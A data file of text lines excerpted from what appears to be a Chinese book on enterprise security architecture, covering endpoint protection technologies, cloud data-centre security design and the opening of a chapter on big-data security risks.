    {"text": "2.AI引擎 引擎是终端安全领域的核心技术，是判定一个文件是否为病毒的一套程序机制。 AI（Artificial Intelligence，人工智能）引擎是利用机器学习等AI技术，对海量样本进行自学习后，引擎自动总结出的病毒文件识别能力，以便在未捕获样本的前提下有效识别未知病毒。 3.云查引擎&沙箱 云查引擎是指将病毒样本分析过程和病毒哈希特征库都置于云端，本地只保留一个非常小的本地特征库，当发现一个新文件时，直接通过哈希特征库的云端查询就能快速识别文件是否为病毒，从而降低终端本地的系统资源占用。"},
    {"text": "沙箱是一种文件动态行为识别技术，云沙箱是将样本文件直接放入云端虚拟化环境中运行，通过监控运行过程从而跟踪文件的行为，并根据文件行为判断是否为恶意程序。"},
    {"text": "应用程序控制，一方面可以大幅降低由于应用缺陷导致其自身权限被恶意滥用的可能，另一方面可以用于解决对终端数字资源保护的需求，屏蔽关键数据的获取。"},
    {"text": "5.补丁部署自动化编排 当终端数量达到一定规模时，自动打补丁机制有可能会带来许多负面问题，因此自动从云端更新补丁库后，预先设置好灰度发布批次和漏洞修复策略（分时间段、按级别、排除有兼容性问题的补丁等），控制中心可定时自动更新补丁库，自动化编排，完成漏洞的修复。"},
    {"text": "6.工作区隔离 一个终端使用技术手段同时开辟两个相对独立的工作区域，每个工作区域有不同的桌面配置、文件存储与安全机制，该工作区内的所有数据无法转移至另外一个工作区内，从而实现一台终端可以安全访问两个完全独立的网络，并且保证每个网络的数据安全。"},
    {"text": "7.环境感知 用来对终端环境进行安全环境感知和安全状态识别，并将感知状态传递给其他安全策略组件，如访问控制中心，为业务访问提供终端的安全度量和安全评价等信息，实现主体安全状态动态的业务访问控制。"},
    {"text": "8.终端DLP 终端DLP（Data Leakage Prevention，数据防泄露）是通过内容识别技术防止企业敏感文件通过终端泄露的一种数据安全技术，能够实现对终端存储数据、终端使用数据、终端外发数据的保护，同时可以结合数据标记、数据加密、数据权限管理等技术实现数据安全。"},
    {"text": "9.终端EDR 终端EDR（Endpoint Detection & Response，终端检测与响应）是通过终端上的“探针程序”（Agent）采集终端各个维度的数据，包括静态以及内存中运行态的数据，上报到后端的管理分析平台。"},
    {"text": "10.移动安全容器 基于Android Intent隔离技术以及对系统的Hook能力，将Android系统分割成普通的运行环境和特有的安全虚拟运行环境（简称为安全容器，也称为应用沙箱）。"},
    {"text": "安全容器与外部是完全隔离的，安全容器内的应用可相互通信，交换数据，所有数据均是高强度加密的（默认是AES，也支持国密算法SM4）。 安全容器内部实现了运行态的访问控制功能，外部应用无法访问容器内的应用，所有的网络访问、数据交换等均受到安全容器的访问控制。"},
    {"text": "新一代的应用封装技术不需要拆包进行应用封装，可以将安全组件（如杀毒应用、环境感知应用等）融入到业务应用App，与业务应用集成为一个App，且拥有相同的生命周期。"},
    {"text": "12.接入层NDR 接入层NDR（Network Detection & Response，网络检测与响应）是通过采集接入层网络流量中更多维度的数据，从而对网络攻击行为进行更细粒度的判断的一种技术。"},
    {"text": "7.2.5 预期成效 1.终端安全管理一体化 作为一个在数字化时代能够保障业务安全有序运转的机构，应充分考虑组织的管理模式和文化，在确保为终端用户提供良好用户体验的基础上，建设跨数字化终端类别的统一安全管理体系。 终端安全管理一体化能够充分考虑到办公终端的多样性，可以拟合PC终端、哑终端 [1] 、服务器终端、移动终端，针对异构外设提供统一的安全管理能力； 能够在终端和接入环境上构建面向终端硬件、操作系统、应用软件、数据资源、用户身份、操作行为和末梢网络的一体化安全技术栈； 能够充分考虑到终端管理的复杂性与完备性，提供杀毒、加固、管控、运维、准入、外设管理等多种管理能力，形成完备的终端管理一体化，充分支持企业安全治理工作。"},
    {"text": "2.终端威胁防御立体化 终端是安全的最后防线，所有威胁都会通过网络空间的连接直接与终端发生关系。 终端威胁防御立体化能够在终端上提供架构安全防护、数据安全防护、被动防御、主动防御、行为管控、操作隔离等威胁立体化防御能力；"},
    {"text": "能够基于威胁维度、设备维度、数据维度、身份维度、大数据分析维度，充分解决已知、未知和APT（Advanced Persistent Threat，高级持续性威胁）攻击等威胁。"},
    {"text": "3.终端安全运营数字化 基于数字化管理思想和指标化度量思想，制定和落实标准纳管、分权操作、分级管控、集中分析、全局可视的安全运营目标，通过指标化运营提高整个终端安全建设的有效性。 4.终端安全建设协同化 充分利用终端的安全能力和数据资源，实现与企业数据安全、系统安全、身份安全、行为安全等其他安全运营目标的有效衔接和深度聚合，进而从容应对组织数字化转型过程中不断变化的边缘侧网络安全风险。 7.3 数字化终端及接入环境安全建设要点 7.3.1 总体流程 首先，要建设统一的终端安全管理客户端系统和终端系统安全栈，一方面用于承载终端中的各种安全服务与控制能力，另一方面统一提供面向用户和控制平面的接口，使各类安全能力都基于统一的用户界面、统一的策略管理和统一的日志管理在终端侧进行部署。 其次，要建设终端侧末梢网络安全管理系统和终端末梢网络安全栈，在满足网络接入层纵深防御的基础上，实现以“终端入网必合规、合规再入网”为目标的动态控制能力。 再次，要建设以终端用户为中心的策略控制运行管理平台和统一安全运行支撑能力，打通PC终端、移动终端、云桌面、专用终端的控制平面，实现终端管理过程中服务能力、终端类别、数据资源三方面的统一。 最后，要建设外部系统协同能力，通过与身份管理与访问控制平台、安全态势感知平台、内部威胁感知平台、系统安全平台、数据安全管理与风险分析平台进行协同，能够将现有自闭环系统组成更庞大的生态系统，更好地解决未来更加复杂的安全问题。 7.3.2 终端系统安全栈建设 建设终端系统安全栈，是指建立企业终端十大安全能力，如图7.2所示。 全方位解决终端威胁并提供面向未来的终端能力建设，其中包括底层的终端纳管能力、数据支撑能力，支撑终端自身安全能力演进的架构安全能力、被动防御能力、积极防御能力，以及支撑终端协同安全能力演进的身份安全能力、接入管控能力、隔离设施能力、行为管控能力、数据安全能力等。 ● 终端纳管能力 通过终端纳管能力的实施，实现包括用户注册与服务管理、终端资产发现与管理、应用软件及授权管理、终端外设与移动介质管理在内的终端全生命周期管理工作，降低终端运维服务成本。 图7.2 终端系统安全栈 ● 数据支撑能力 通过终端数据支撑能力的实施，实现包括终端环境感知、终端安全状态评估、终端日志采集等工作，提高终端数据利用能力。 通过部署终端日志、安全状态及环境信息的感知、采集和共享措施，使终端安全数据共享至网络安全、云安全、身份与访问控制等多个安全领域，并最终实现体系之间的安全能力协同。 ● 架构安全能力 通过架构安全能力的实施，实现终端固件扫描及管理、终端应用程序控制、配置/漏洞修复与补丁管理、安全配置/漏洞/补丁发现等工作。 对终端的重要应用构建应用程序控制手段，通过白名单控制进程的启动、跨越进程的调用和应用数据的访问，实现提升终端自身强壮性和未知攻击抵御的能力。 ● 被动防御能力 通过被动防御安全能力的实施，实现终端防火墙与入侵防护、终端恶意代码防护等工作，提高终端威胁对抗能力，解决终端的基础威胁问题。 ● 积极防御能力 通过积极防御安全能力的实施，实现终端检测与响应（EDR）等工作，提高终端自身对未知威胁的深度分析能力。 通过对终端本地进程活动、文件信息、资源调用行为的收集，实现对高级威胁的有效研判分析与追踪溯源。 ● 身份安全能力 通过身份安全能力的实施，实现终端用户强认证工作，使终端身份具有高可靠性、不可篡改性。 ● 接入管控能力 通过接入管控能力的实施，实现终端合规接入管理，与网络接入管理设备进行协同，使非合规终端无法接入网络。 ● 隔离设施能力 通过隔离设施能力的实施，实现终端工作区隔离，在PC终端构建出独立的安全隔离工作区，用于专网互联，实现工作区内应用程序、数据存储、网络通信与承载系统的相互隔离。 ● 行为管控能力 通过行为管控能力的实施，实现终端行为审计与控制，做到终端可管、可控。"},
    {"text": "● 数据安全能力 通过数据安全能力的实施，实现敏感数据发现与泄露控制、文档加密与屏幕水印等工作，实现终端侧数据泄露防护（DLP），并在打通数据安全管控平台后实现数据安全治理与保护策略的统一。 7.3.3 末梢网络安全栈建设 建设终端侧末梢网络安全栈，实现以强制执行安全策略为目标的终端安全接入控制能力和末梢网络外发流量及内容的控制能力，实现终端动态接入控制及末梢网络内互访的检测和控制能力。"},
    {"text": "其中包括纵深防御、接入管控、准出管控等三大核心能力。 ● 纵深防御能力 建设纵深防御能力，是指执行终端网络外发内容审计与控制、终端网络访问行为审计与控制、网络威胁防护、网络威胁检测与响应（NDR）等工作，实现对末梢网络到互联网或业务专网的资源访问、数据外发的行为检测，发现与控制可疑安全事件，并与终端数据一起关联至内部威胁防控平台、数据安全管控平台来扩大安全协同范围。 通过纵深防御能够实现网络威胁检测与响应（NDR），对末梢网络内部之间存在的网络攻击进行持续监测、分析与响应，及时发现内部攻击事件。 ● 接入管控能力 建设接入管控能力，是指执行网络接入管理工作，可以根据终端设备合规程度、安全状态、环境情况实现终端入网规则的动态访问控制，实现终端入网必合规、先合规再入网的控制能力。 ● 准出管控能力 建设准出管控能力，是指执行互联网访问管理工作，针对采用分布式远程接入的小微型分支机构，需要提供通过专线或互联网VPN上联至机构广域网的一体化接入系统，同时使用软件定义方式为末梢网络提供网络安全防护措施，并为有需要的分支机构提供安全受控的互联网访问能力。 7.3.4 终端统一安全运行支撑能力建设 建设终端统一安全运行支撑能力，是指建设以用户为对象的终端分级管理控制平台，通过联通PC终端、移动终端、云桌面、专用终端的控制平面，实现终端管理过程中服务能力、终端类别、数据资源三方面的统一。 其中包括分级策略管理、威胁鉴定、事件调查分析、流程化运营操作等四大运行支撑能力平台。 ● 分级策略管理平台 建设分级策略管理平台，将信息世界的企业数字化终端与物理世界的企业员工进行一一对应，并通过物理世界的组织属性来实现信息世界中数字化终端的有组织管理，从而实现物理世界与信息世界的员工同构管理。 ● 威胁鉴定平台 建设本地威胁鉴定平台，将终端威胁情报引入内部网络，使得企业终端既使无法连通互联网，也可以相互之间共享威胁情报。 ● 事件调查分析平台 建设事件调查分析平台，在不增加终端计算能力，不影响用户体验的前提下，实现对可疑样本的深入分析和安全事件的追踪调查。 ● 流程化运营操作平台 建设流程化运营操作平台，结合规范化的标准操作流程（SOP），实现对当前终端安全整体状态的准确洞察以及运营工作的高效支撑，并辅助管理者的指挥与决策。"},
    {"text": "其中包括与身份管理与访问平台、安全态势感知平台、内部威胁感知平台、系统安全平台、数据安全管理与风险分析平台等五大平台的联通。 ● 与身份管理与访问平台联通 将终端与身份管理与访问平台联通，利用终端将物理身份与数字身份进行一一绑定，从而能够构建一个动态的身份与访问管理体系，能够在未来通过零信任架构有效提升企业的业务访问的安全性。 ● 与安全态势感知平台联通 将终端与安全态势感知平台联通，能够将终端的位置信息和威胁信息作为本地威胁情报的一部分，为安全态势感知平台提供更精确的威胁定位和态势分析。 ● 与内部威胁感知平台联通 将终端与内部威胁感知平台联通，能够基于终端的日志数据和UEBA技术进行异常分析，有效应对内部欺诈、权限滥用、数据窃取、意外泄露、系统破坏等多种内部威胁类型。 ● 与系统安全平台联通 将终端与系统安全平台联通，能够通过保障终端资产、漏洞、配置、补丁的有效运行，进而保证整个系统安全建设的安全有效。 ● 与数据安全管理与风险分析平台联通 将终端与数据安全管理与风险分析平台联通，能够有效实现终端侧的数据采集、数据传输、数据存储、数据运维、数据使用与数据销毁的全生命周期管理，从而实现终端侧的数据安全能力建设。 联通身份管理与访问、安全态势感知、内部威胁感知、系统安全、数据安全管理与风险分析等平台，可实现安全能力的体系化聚合，将终端安全管理与整个安全体系进行关联，形成更加有效的大安全系统。"},
    {"text": "第8章 面向云的数据中心安全防护 8.1 数字化转型与业务发展的新要求 8.1.1 数字化转型促进数据中心向云化发展 当前，大数据、人工智能、物联网等新兴技术正在持续助推社会、企业的数字化转型。 数据中心作为信息技术的重要载体，随着云计算的全面深入应用，也将从传统物理结构向全面云化发展演变。 由于传统数据中心与云数据中心在技术采用、建设理念、管理方式方面存在较大差异，相应地，面向数据中心的安全也需要进行转变。 基于传统数据中心的安全防护体系已经不再适用于如今数据中心云化进程中的安全防护任务。 8.1.2 云化数据中心面临的安全挑战 ● 云化数据中心的演进是一个长期的过程，传统风险与新兴风险并存 数据中心是一个大规模的IT基础设施。 受制于业务形态和运行环境要求，并不是将传统数据中心“一刀切”式地摒弃，这也导致传统数据中心向云化数据中心的演进不是一蹴而就的。 在这个过程中，传统数据中心、云数据中心混合共存。 对于安全体系也是如此，它需要兼容这种混合云数据中心，能有效应对传统风险与新兴风险长期并存的局面。 ● 企业对云数据中心安全建设缺乏全面系统的认识 大部分企业采用传统数据中心安全防护的经验和思路指导云数据中心安全的建设，由于云数据中心与传统数据中心在IT架构、管理运营等方面都存在较大差异，尤其是云数据中心具有多层次的网络纵深、多角色的IT活动、多形态的服务模式等特性，这导致安全防护与现有云业务的运行、运营管理脱节，无法有效支撑云数据中心安全的防护作用。 ● 云数据中心面临更严峻的安全挑战 由于云数据中心是应用、业务、数据、流量的大型集散地，因此越来越多的攻击者将目标指向云数据中心。 单点突破、横向扩散等多手段、多阶段的攻击方法成为针对云数据中心的主流攻击行为，极具隐蔽性和动态性。 其次，云数据中心新技术的运用，使得针对这些虚拟化、云计算新技术的攻击成为攻击者热衷的突破点。 最后，云计算的弹性、动态为业务提供方便的同时，也对安全提出了更高的要求，导致现有静态安全体系无法适应这个变化节奏。 ● 混合云导致云数据中心的安全挑战更趋复杂 企业的云数据中心往往并不局限于自建私有云模式，随着企业业务和云计算服务的发展，采用自建云平台并结合云服务商的公有云或专有云服务形成一个混合云，已经成为大型企业云数据中心的一个重要模式。 同时，云数据中心往往还会存在总部云、区域云甚至海外云等多云互联服务的情况。 企业内网访问、多云互联、公有云接入、互联网业务访问等业务场景都聚合在混合云环境中，这使得云数据中心的安全防护工作面临更加复杂的挑战。 8.1.3 传统云安全建设问题与误区 ● 过于关注云平台安全而缺乏对云数据中心整体安全的考虑 数据中心的云化使得云平台成为云数据中心的核心，但云平台并不能取代数据中心所承载的所有信息化职能。 对于企业用户来说，云是数据中心的一种服务形态，与传统物理服务器一起提供基础环境支撑。 但因为企业部门职责、信息化建设以及一些历史原因，当前企业云安全的建设往往只关注云平台及其服务的安全，而忽视了整个云化、混合且紧密结合的数据中心的安全建设，从而衍生了很多数据中心安全漏洞，并进一步威胁到了云平台的安全。 ● 缺乏从整体安全视角构建的数据中心级安全能力 由于缺乏从云数据中心及企业整体安全防护视角开展云安全的规划建设，导致企业构想建设的云安全能力存在缺失和不足。 安全建设往往不会覆盖安全滑动标尺的基础架构安全、纵深防御安全、主动防御、威胁情报等领域，缺乏与企业身份、密码、系统安全等企业级安全平台的联动。 在云内、云外的网络纵深防御、系统安全支撑、云内外特权访问控制、云流量分层隔离、云资源隔离保护、云内外安全态势感知等方面也存在很大的能力缺失，无法为企业用户提供完善的云安全支撑。 ● 忽视与云运营业务的聚合，云安全与云业务建设割裂 云业务具备极强的运营属性，在面向企业客户提供云基础服务时，安全服务往往需要与云基础服务一起提供。 但当前云安全建设往往与信息化建设存在一定的隔裂，安全能力无法有效地与云业务结合，从而导致云安全服务往往游离在云基础服务之外，安全能力的保障效果得不到有效的应用发挥。 ● 缺乏云内外安全态势的联动 作为信息化基础设施，云平台本身可以成为一个完整的生态环境，企业也需要具备构建云内安全态势的能力。 但当前云内安全态势的建设或者能力要么存在缺失，要么没有与企业整体的安全态势感知平台联通，从而无法将云安全情况与企业整体安全情况联动，导致安全体系的整体保障效果大打折扣，也降低了云数据中心的服务效能。 因此，在数据中心的云化进程中，企业需要建设既能够兼容传统数据中心安全，又能满足面向云的数据中心安全的防护体系。"},
    {"text": "通过阐述设计面向云的数据中心安全体系，为企业提供一个面向复杂业务场景，且具有宏观整体工程化视角，又经得起实战考验的云数据中心安全解决方案。"},
    {"text": "为此，国防信息系统局在2017年底创建了一个名为安全云计算体系架构（SCCA）的程序，目的是在为美军使用商用云服务的时候提供一个整体性的保护屏障。 作为美军云安全的核心架构，SCCA不仅关注虚拟环境内部隔离等安全，而且将一系列的存储、网络、主机等虚拟基础设施，连同云服务商接入、外部服务网络接入、国防部内部网络接入、身份凭证管理等安全要求都纳入安全框架中。 SCCA实际上围绕一个复杂而又结构清晰的云数据中心提供了一整套基础设施服务，使得美军在享用最前沿的商业化云服务的同时，又能保证其核心数据的安全。"},
    {"text": "8.2 什么是面向云的数据中心安全防护 8.2.1 基本概念 所谓面向云的数据中心安全防护，是指立足于混合云模式，适用于IaaS、PaaS、SaaS云服务类型，结合虚拟化、弹性扩展等云计算技术的特点，采用全面覆盖、深度融合的方式规划设计数据中心级的安全能力，并利用系统工程的方式开展安全建设，从而构建云数据中心的安全防护体系。 数据中心级的安全能力，是指面向云数据中心的云基础设施、云服务交付、云资源访问、云资源运维管理等全层次，提供网络纵深防御、系统安全支撑、云特权访问控制、流量分层隔离、云资源隔离与安全服务串接、安全态势感知等安全能力。 全面覆盖和深度融合，是指全面覆盖数据中心的边界、云边界、应用系统区域、主机、容器等层次，打通控制平面，实现安全防护体系和云环境的一体化编排调度，并与云数据中心的IT建设与运维工作实现聚合内生。 采用系统工程的方式开展建设，是指基于同步规划、同步建设、同步运营，有人员参与的建设原则，从工程建设的角度出发，组织构建必要的、多维度的、与其他系统相互连通的云安全能力，实现有人员参与的云安全能力运营和管理的建设目标； 全面覆盖云数据中心的安全需求，深度结合云平台相关业务，紧密围绕以运营为中心的安全活动，从而通过系统工程的方式实现基于实践经验的、面向云的数据中心安全防护体系的构建。 8.2.2 设计思想 ● 软件定义安全 软件定义安全是面向云的数据中心安全防护的基础。 面对云计算的弹性、动态的特性，只有通过软件定义安全实现对原有安全能力的改造创新，将安全能力软件化、服务化、资源池化，才能使其真正适应云数据中心的变化。"},
    {"text": "针对云计算IaaS、PaaS、SaaS不同层次的安全需要，设计不同的安全能力进行防护，使得每个层次能够独立进行安全管控和运营。 同时整体设计云安全中心，对全局维度的云数据中心安全能力进行统一监控、管理、运营。 ● 聚合业务、全面纳管 将云安全组件结合到云的各信息化层次中，将云安全能力聚合到云数据中心的信息化业务中，实现对云主机、云网络、中间件、数据等云资源的全面安全纳管，确保安全成为云数据中心信息化的一个组成部分，落实安全对云数据中心的全面覆盖和深度融合。 8.2.3 总体架构 面向云的数据中心安全体系，是以云服务交付安全防护和云基础平台安全防护两方面为总体架构展开，基于滑动标尺模型的理念进行能力组织，从基础结构安全、纵深防御、态势感知与主动防御以及威胁情报四层进行的总体结构设计，如图8.1所示。 图8.1 面向云的数据中心安全能力体系 云基础平台防护在云基础设施结构层面将面向云的数据中心分为物理网络层、物理存储层、物理主机层、虚拟化系统层、虚拟化管理层、云管理层； 云服务交付防护从云服务分层入手，将基础设施上层的应用服务分为云网络层、虚拟机系统层、应用/中间件层和数据层。 通过逐层施加安全防护能力，保障基础平台结构和云服务应用的安全。 基础平台层面从基础设施的运行、访问、认证、生产数据层面进行安全防护，着重立足于基础设施本身展开安全防护。 基础设施的运行需要保证其基础软件及操作系统的运行安全及配置的牢固性，同时依据软件、系统供应商的漏洞披露情况及时更新补丁。 为保证基础设施的授信访问，基础设施需要全面纳入身份认证管理与访问控制体系，根据统一的密码策略体系，实现对基础设施的安全访问和鉴权管理。 由于基础设施承载着重要数据，数据在基础设施中的创建、流转、消费、销毁等每个环节，以及数据泄露、篡改、滥用、非法访问等安全问题，需要进行监控和防护。"},
    {"text": "纵深防御主要是基于流量侧进行安全防护，除上述安全手段外，还需要针对流量的监控审计、威胁检测、特权操作等进行安全建设，以保障纵深防御从事前监测、事中防护、事后审计，到调查溯源全阶段的安全动作落实到位。"},
    {"text": "典型的企业云数据中心安全防护框架所包含的安全域，可以分为网络安全栈、安全资源池、系统安全服务、云安全接入点、云平台安全防护区和云平台安全管理区。 根据业务的需求，云安全接入点可以细分为云数据中心安全接入点、外部安全接入点和公有云安全接入点等。 有一些企业还会部署专有云环境，它们也需要与云数据中心通过专有接入点实现安全互访。 面向云的数据中心安全防护建设完毕之后，至少可以覆盖云数据中心边界、云基础平台和云服务交付这三个核心领域的安全需求。 其中云数据中心边界可以具体覆盖到数据中心内部接入边界、专有云接入边界、公有云接入边界及外部网络接入边界的安全防护需求。 云基础平台领域可以具体覆盖到云平台管理、虚拟化管理、虚拟化及资源、物理机、平台基础网络等层次的安全防护需求。 云服务交付可以具体覆盖到云边界、应用系统边界、DMZ、虚拟化主机及容器等层次的安全防护需求。 图8.2 云数据中心安全防护部署架构 8.2.4 关键技术 在面向云的数据中心安全防护建设的过程中，应把握云安全的最新技术方向，采用资源池化技术、SDN服务链编排技术、数据中心特权管控等适合云计算特点的技术手段来支撑云安全能力的实现，而不是拘泥于传统的安全手段。 ● 通过资源池化技术对安全能力进行统一整形 面向云的数据中心安全防护需要各种安全能力，安全能力的寄宿环境、运行形态各有差异。 为保证安全能力的可调度性和弹性，需要通过资源池化技术将所有的安全能力进行软件定义，并抽象成可调度的标准安全单位。"},
    {"text": "● 借助SDN服务链技术对安全能力进行智能编排 面向云的数据中心安全具有复杂的防护场景，针对不同的安全级别、风险等级、业务运行状态等会形成不同的安全防护动作。 通过SDN调度和服务链编排的方式，对独立的安全能力进行场景化编排，快速通过预设的安全场景预案，使得不同类型、不同位置的安全能力按照特定的模式进行组合。"},
    {"text": "● 使用微隔离技术加强云数据中心的精细安全管控 主要针对云数据中心东西向流量采取的相对于防火墙、VxLAN来说细粒度更小的网络隔离，能够应对传统环境、虚拟化环境、混合云环境、容器环境下对于东西向流量隔离的需求，阻止攻击者进入企业数据中心网络内部后的横向平移，加强云数据中心内部网络的安全和配置灵活性。 ● 使用PAM（特权访问管理）技术落实特权管控 使用PAM技术加强云数据中心内的特权访问安全：一是特权账号管理，为特权账号凭证提供集中加密的安全存储、自动化管控和安全轮换等；"},
    {"text": "8.2.5 预期成效 ● 防护覆盖能够更加全面，有效满足云数据中心的防护需要 通过开展面向云数据中心的安全防护建设，可以构建全面覆盖云数据中心各类场景需求的云安全能力，能够满足云数据中心的接入边界安全防护，保障云平台自身安全运行，构建云服务交付层的、面向企业用户的安全服务能力，确保云数据中心的开发、运维等特权操作安全，从而实现云数据中心安全防护的全面性。 ● 云安全能力能够深入聚合到云业务中，支撑更加完善的云服务业务 通过开展面向云数据中心的安全防护建设，可以将云安全能力嵌入到云业务流程中。 在云资源的产生、更改、注销等环节同步产生和管理安全资源，据此将安全能力变成云运营业务的一部分，在企业开展云服务业务的同时同步交付云安全服务。 ● 云安全能力能够融合到整体安全流程中，实现企业体系化的安全防护 通过开展面向云数据中心的安全防护建设，可以在云上构建安全合规及态势感知能力，并体系化地实现与企业级的态势感知平台、系统安全平台、身份平台、密码平台的互联互通，确保云安全防护不是一个独立、割裂的区域，而是企业整体安全体系的一环，并为数据安全、应用安全等领域提供承载环境和执行点，真正发挥体系化安全防护的效力。 8.3 面向云的数据中心安全防护建设的方法和要点 8.3.1 总体设计流程 企业需要从系统工程的角度开展面向云的数据中心安全防护建设。 企业在开展面向云的数据中心安全防护建设的时候，不仅要考虑到云计算本身的多层次、多场景的安全能力要求，而且要考虑到云数据中心安全建设工程与终端安全、网络安全、身份安全、密码安全、安全态势感知等工程的相互关系。 需将安全能力合理地分配到云信息化层次中，全面覆盖云数据中心的各个方面，与云IT紧密融合，从而建设形成一个相互协同的安全体系。 立足于云数据中心而不是云平台本身的安全，从云服务交付安全防护和云基础平台安全防护两个层面建设数据中心级的安全能力，覆盖云数据中心的基础架构安全、纵深防御、态势感知与主动防御、威胁情报等四个领域的能力，全面满足云数据中心的安全需求，并深度结合云平台的相关业务，为企业提供一个整体的面向复杂应用场景的云数据中心安全解决方案。 为落实相关安全能力，政企机构应按照如下步骤开展面向云数据中心的安全防护建设设计（见图8.3）。 步骤1.云环境识别 先识别云数据中心的IT环境，包括云数据中心的外部边界、云服务交付业务、云运维管理业务、云资源IT业务等内容。 步骤2.云数据中心的对外边界防护设计 基于步骤1的识别结论，围绕云数据中心的对外边界进行接入点设计，基于风险和云业务需求规纳接入点的安全能力。"},
    {"text": "图8.3 面向云的数据中心安全防护总体设计流程 步骤3.内部弹性可扩展的安全能力设计 面向云数据中心的云服务交付业务，在南北向流量防护、系统级安全保障、东西向流量防护层面进行适配云服务交付业务的安全设计。"},
    {"text": "步骤5.安全与云IT业务聚合设计 聚焦云安全能力与云IT业务的聚合，体现内生安全的理念。 步骤6.云内外整体安全管控设计 将云安全纳入整体管控，集中开展安全策略、运行状态监控、风险处置等工作。"},
    {"text": "一般政企机构的云数据中心边界包括：企业网（骨干网）接入边界、互联网接入边界、公有云接入边界等，部分机构还可能存在专有云接入边界。"},
    {"text": "一般企业典型的相关建设方至少应包括企业的安全管理部门、安全运营组、网络及系统管理组、应用系统开发组、应用系统运维组、云平台项目组及IT服务中心。 应识别相关对接系统，一般包括身份管理与访问控制平台、安全态势感知平台、系统安全平台、内部威胁感知平台、运维管理系统、云平台管理系统等。 8.3.3 云数据中心的对外边界防护建设要点 建设面向企业内网的云数据中心安全接入点，在安全接入点对进出云数据中心的网络流量进行网络层访问控制、流量监控及威胁检测，实现对云数据中心内部边界的风险收敛及网络安全防护。 建设面向互联网的外部安全接入点，在外部安全接入点对来自互联网的网络流量进行网络层访问控制、流量监控及威胁检测，实现对云数据中心外部边界的风险收敛及网络安全防护。 建设面向公有云的公有云安全接入点，在公有云安全接入点对连接公有云的网络流量进行网络层访问控制、流量监控及威胁检测，实现对公有云专线接入的风险收敛及网络安全防护。 8.3.4 内部弹性可扩展的安全能力建设要点 在云边界建设共享的、资源可编排的网络安全栈，针对进出各应用系统区、专有云区、DMZ区、系统安全服务等流量提供访问控制、WAF防护、内网VPN、应用安全代理、API安全代理、负载均衡、零信任访问控制等安全服务，实现对云服务交付层的边界网络访问控制及应用安全防护。 在云内建设数据中心统一的、资源可编排的系统安全服务，针对各应用系统区、DMZ区、系统安全服务区等系统、容器的安全管理，提供软件更新、补丁分发、安全漏洞扫描、配置核查、防病毒、堡垒机、日志采集等安全服务，实现对云服务交付层的系统级安全管理和安全运行支撑。 建设云安全资源池，针对各应用系统区的内部网络、容器网络提供网络访问控制、应用安全代理、API安全代理、零信任访问控制等安全服务，并作为容纳承载密码、数据安全、应用安全等其他安全组件的资源池。 基于分层自治的原则，协同网络对云基础平台按照存储、计算、管理的物理网络结构进行划分隔离、执行白名单访问控制、收缩硬件管理接口、实施虚拟化系统统一管理，通过平台底层的严格控制来保障云服务交付层的灵活应用。 在管理区为云基础平台提供补丁分发、堡垒机、日志采集等安全能力，实现对云基础平台的系统安全管理和安全运行支撑。 8.3.5 云特权操作管控建设要点 建设云特权操作管控系统、平台特权操作管控系统，与统一身份管理平台对接，由统一身份管理平台实现对云平台管理用户、业务管理用户、应用运维管理用户、云数据库管理员等特权账号的管理，并基于ABAC模型开展特权用户操作和零信任访问控制，有效管控和降低资源管控、运行维护等操作的安全风险。 8.3.6 安全与云IT业务聚合建设要点 利用网络安全策略、内网VPN等手段，在云内形成相互隔离的平台管理、业务访问、业务管理、安全管理等流量层，在各流量层之间进行网络层隔离保护和访问控制，减少各流量层的暴露面，确保平台管理、业务访问、业务管理、安全管理等流量层的安全可用。 在云网络建设中，通过区域划分、路由策略、动态引流等方式实现网络安全服务的可串接性。 在申请云计算资源环节，在虚拟网络、Hypervisor、标准镜像、虚拟机/容器等层面通过区域设置、安全资源生成、策略配置、安全代理安装、服务指向配置等手段，完成云资源的安全纳管，实现安全服务串接、结合与覆盖。 企业能够聚合云安全能力的典型IT业务包括云基础平台运维管理、云基础平台网络管理、云资源生命周期管理、云资源运维、云网络管理、应用开发维护管理、应用访问管理、事件管理、持续服务管理等。 8.3.7 云内外整体安全管控建设要点 建设云安全管理中心，为网络安全栈、系统安全服务、云安全资源池、云特权操作管控等提供统一的控制平面，并与云环境控制平面进行集成，支撑对混合云环境下的全局安全策略管控。 将云数据中心的安全数据接入安全态势感知平台，并向其开放控制接口，实现对云数据中心的整体安全监控及处置响应。 在面向云的数据中心安全防护建设的过程中，切实打通和身份管理与访问控制平台、安全态势感知平台、系统安全平台、内部威胁感知平台、运维管理系统、云平台管理系统的接口互联，确保关键的身份数据、资产数据、风险数据得以流转，实现在面向云数据中心的同时又能够协同企业整体安全防护体系的体系化运作。"},
    {"text": "第9章 面向大数据应用的数据安全防护 9.1 数字化转型与业务发展的新要求 9.1.1 数字化转型面临的数据安全挑战 大数据已成为产业发展的创新要素，不仅在数据科学与技术层面，而且在商业模式、产业格局、生态价值与教育层面，都带来了新理念和新思维。"},
    {"text": "大数据与现有产业深度融合，在人工智能、自动驾驶、金融商业服务、医疗健康管理、科学研究等领域展现出广阔的前景，使得生产更加绿色智能，生活更加便捷高效。 大数据已经逐渐成为企业发展的有力引擎，在提升产业竞争力和推动商业模式创新方面发挥着越来越重要的作用。"},
    {"text": "它们在提升对大数据的认知和理解的同时，也要充分意识到大数据安全与大数据应用也是一体之两翼，驱动之双轮，必须从国家网络空间安全战略的高度认真研究与应对当前大数据安全面临的复杂问题。"},
    {"text": "在开放的网络化社会，蕴含着海量数据和潜在价值的大数据更受黑客青睐，近年来也频繁爆发信息系统、邮箱账号、社保信息、银行卡号等数据大量被窃的安全事件。 分布式的系统部署、开放的网络环境、复杂的数据应用和众多的用户访问，都使得大数据在保密性、完整性、可用性等方面面临更大的挑战。 ● 个人信息泄露风险加剧 大数据系统中普遍存在大量的个人信息，在发生数据滥用、内部偷窃、网络攻击等安全事件时，个人信息泄露产生的后果将远比一般信息系统严重。 另一方面，大数据的优势本来在于从大量数据的分析和利用中产生价值，但在对大数据中的多源数据进行综合分析时，分析人员更容易通过关联关系挖掘出更多的个人信息，这进一步加剧了个人信息泄露的风险。 ● 数据所有者权益难以保障 在大数据应用过程中，数据会被多种角色的用户所接触，会从一个控制者流向另外一个控制者，甚至会在某些应用阶段挖掘产生新的数据。 因此，在大数据的共享交换、交易流通的过程中，会出现数据拥有者与管理者不同、数据所有权和使用权分离的情况，即数据会脱离数据所有者的控制而存在，从而引发数据滥用、权属不明确、安全监管责任不清晰等安全风险，严重损害数据所有者的权益。 ● 细粒度访问控制的安全挑战 